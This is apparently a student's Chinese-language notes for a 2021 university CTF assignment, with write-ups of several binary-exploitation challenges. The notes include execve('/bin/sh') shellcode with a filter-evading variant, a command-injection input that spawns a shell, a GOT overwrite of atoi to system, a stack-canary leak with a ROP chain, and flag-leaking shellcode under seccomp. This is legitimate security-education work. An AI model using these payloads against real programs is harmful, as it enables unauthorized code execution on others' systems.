# ADL CTF
###### tags: `CTF`, `assignment`, `linux`
:::info
**2021 AUTUMN**
http://ctf.adl.tw/
:::
## Note
- [忘記 stack frame 時看](https://hackmd.io/@dange/rk9xmgHKX?type=view)
- [GOT&PLT](https://hackmd.io/@rhythm/ry5pxN6NI)
- [pwn relatives](https://r888800009.github.io/software/security/binary/pwn-notes/#%E5%89%8D%E7%BD%AE%E6%A6%82%E5%BF%B5)
- [shell code blog](https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%BA%8C-buffer-overflow-b0a33d43ba1d)
- [sh shell code example](https://www.exploit-db.com/exploits/42179)
- tool
- [syscall table](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit)
- [asm to hex](https://defuse.ca/online-x86-assembler.htm#disassembly)
:::info
Shell Code
```
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05
```
```
400080: 50 push %rax
400081: 48 31 d2 xor %rdx,%rdx
400084: 48 31 f6 xor %rsi,%rsi
400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40008e: 2f 73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b0 3b mov $0x3b,%al
400096: 0f 05 syscall
```
:::
## online tool
- [online assembler](https://defuse.ca/online-x86-assembler.htm#disassembly)
## Challenges
### helloctf :ok:
一開始會比對輸入前 3 char 是不是 "yes",不是就會 exit(0)
用 bufferoverflaw 改變 main 結束後 return address
改成跳到 magic function
magic function 內就有 sh code 了
### helloctf_reverenge :ok:
跟 helloctf 差不多,只是多了 strcmp
用 '\0' 繞過 `strcmp`
### peko :ok:
看來是要在 array 中塞 shellcode
因為它後面就直接把 array 強治轉型成 function pointer 並執行了
只不過它中間會檢查
```c
if (i % 11 == 5 && array[i] != '\x87') {exit(0);}
```
:::info
#### Original shellcode
`\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05`
| index | code | instruction |
|:----- | -------------------- |:------------------------------- |
| 0 | 50 | push %rax |
| 1 | 48 31 d2 | xor %rdx,%rdx |
| 4 | 48 31 ==f6== | xor %rsi,%rsi |
| 7 | 48 bb 2f 62 69 6e 2f | movabs $0x68732f2f6e69622f,%rbx |
| 14 | 2f 73 ==68== | |
| 17 | 53 | push %rbx |
| 18 | 54 | push %rsp |
| 19 | 5f | pop %rdi |
| 20 | b0 3b | mov $0x3b,%al |
| 22 | 0f 05 | syscall |
:::
:::info
#### Modified
`\x90\x90\x90\x90\x90\x87\xc0\x90\x50\x48\x31\xd2\x48\x31\xf6\xb3\x87\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x87\xc0\x53\x54\x5f\xb0\x3b\x0f\x05` + `\x87` * 100
5, 16, 27, 38
| index | code | instruction |
|:----- |:----------------------------- |:------------------------------- |
| 0 | 90 | |
| 1 | 90 | |
| 2 | 90 | |
| 3 | 90 | |
| 4 | 90 | |
| 5 | ==87== c0 | xcng ax, ax // added |
| 7 | 90 | |
| 8 | 50 | push %rax |
| 9 | 48 31 d2 | xor %rdx,%rdx |
| 12 | 48 31 f6 | xor %rsi,%rsi |
| 15 | b3 ==87== | mov bl, 0x87 // added |
| 17 | 48 bb 2f 62 69 6e 2f 2f 73 68 | movabs $0x68732f2f6e69622f,%rbx |
| 27 | ==87== c0 | xcng ax, ax // added |
| 29 | 53 | push %rbx |
| 30 | 54 | push %rsp |
| 31 | 5f | pop %rdi |
| 32 | b0 3b | mov $0x3b,%al |
| 34 | 0f 05 | syscall |
| 36 | 87 87 87 87 87... | |
:::
### holoshell :OK:
經過實驗以後發現在短時間內使用 `srand(time(0))` ,得到的 seed 會相同,因此用 rand() 做出來的密碼也會相同,體感在一秒內連續用都會得到相同的 seed。
所以,要破解 passwd 的方式就是在本地端也用和目標程式相同的方式建構密碼,然後成功度過檢查了!\^^/
進到 sudo function 後,會執行
`asprintf(&command, "echo \"%s\" >> HololiveTW.txt", buf);`
這邊我們可以輸入 `"&&sh #` 來改變指令變成
`echo ""&&sh #" >> HololiveTW.txt"`
後面變成註解,所以實際上是
`echo "" && sh`
來得到 sh
### Holotool :OK:
首先我們可以發現他有 negtive array index 問題
接著用 gdb 看一下在 localhost 執行下有什麼東西在 Vtubers 上面
會發現 Vtubers 上面是 GOT
> :bulb: 我們可以試著將 `atoi(buf)` 改成 `system(buf)`
> 這樣我們只要輸入 "/bin/sh" 即可
首先先 leak 出 atoi addr (從 Vtuber[-1].name 的位置),
將其與我們的 libc.so.6 中的 atoi 相減得到 offset
用這個 offset 算出 system addr 位置 (pwntool 可以幫我們算)
接著我們便可以用 edit info 把 Vtuber[-1].name 也就是 atoi 的 GOT 改成 system addr
再下一輪的 atoi(buf) 就會變成 system(buf),
最後輸入 /bin/sh 達成 system("/bin/sh") 的執行
### Debut :OK:
:::warning
#### 過程
可賣出 -1 stickers 來得到超多 SC,讓我們可以開始使用 `set_fan_name`
exploit 關鍵點 應該是 `set_fan_name` 那裡
`set_fan_name` 裡面確實有 buffer overflow 的問題
看來應該是用 buffer overflow 將 return address 改到 libc 裡
> 歐不,是 `fs:0x28` stack-guard
```
set_fan_name
variable1: size: 0x20
```
應該是可以 leak canary 的
```
stack
32 byte : buf
08 byte : null
08 byte : canary
08 byte : old rbp
08 byte : old rip
```
所以只要填入 40 位的 payload 便有機會在 `printf("set name to %s (Y/N)", buf)` 這邊 leak 出 canary,雖然只要 canary 裡面剛好有 \x00 就會斷掉
依據觀察 canary 最後一位通常是 `\x00`(little endian 第一位) 所以我們要塞 41 Byte 來吃掉第一位的 `\x00` 來 leak 出完整的 canary
然後祈禱 canary 中間沒有 `\x00`
感覺 GOT leak 不出來
或許可以用 ROP
我們還可以 leak 出 stack 中的 rip 來得到 text offset
> 原來 main 是被 `__libc_start_main` 呼叫的
> 這樣了化,main 的 stack frame 裡的 return address 會是 libc 中的 __libc_start_main 我們可以 leak libc !!!
:::

> `__lib_start_main` 在 stack 中有,可以拿來 leak libc

> 可用的 gadget 在 `__libc_csu_init` 中,我不知道他的 offset 怎麼算,就直接 leak 他了
> main 的 stack frame 前面就有 `__lib_start_main` 和 `__lib_csu_init` 的 address

> /bin/sh string 在 libc 中的位置
得到全部的資訊後,進行 ROP。
```
stack payload:
BUF // 塞滿 AAA
NULL // 塞滿 AAA
canary
rbp
ret addr --> `_init`: ret; // 為了對齊 RIP 給後面的 system
ret addr --> `__libc_csu_init+99` pop rdi; ret
(/bin/sh) // libc 中的 /bin/sh 字串位置
ret addr --> system // 跳到 libc 中的 system function,達成 system("/bin/sh")
```
### pekopeko :dizzy:
`seccomp` 限制了我們使用 syscall 的範圍
```
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
```
或許我們可以只用 open 和 read 來讀 flag
但是在 65 byte 的限制下,有辦法做到嗎?
filename string 要放哪裡, read 出來的 string 要怎麼弄出來
:::success
用比較的而不是用 print
:::
如果大於小於等於,做不同的行為,像是 jmp 到不同行
就可以知道某位元是不是某東西,多試幾次就可以 leak 全部 flag
```
int fd = open("flag", 0)
read(fd, buf, 0x100)
```
```asm
mov rdx, 0x0666
xor rsi, rsi
movabs rbx, 0x0000000067616c66 # mov rbx, "flag"
push rbx
push rsp
pop rdi
mov rax, 0x2 # rax <- 2
syscall # open("flag", 0)-> rax=2, rdi="flag", rsi=0
mov rdi, rax
movabs rsi, $somewhere # use some string literal as buf
mov rdx, 0x100
xor rax, rax # rax <- 0
syscall # read(fd, buf, 0x100)-> rax=0, rdi=fd, rsi=buf, rdx=count
jmp 0x401543 # puts string literal
```
### Gawr gura
沒有 stack-protactor, PIE
到處都可以 buffer overflow
沒有 PIE 了話,那也不用大費周章的 leak addr 了
Gura.avatar function pointer 可以 overwrite
> 等等 server 端所用的 lib.so 沒有 system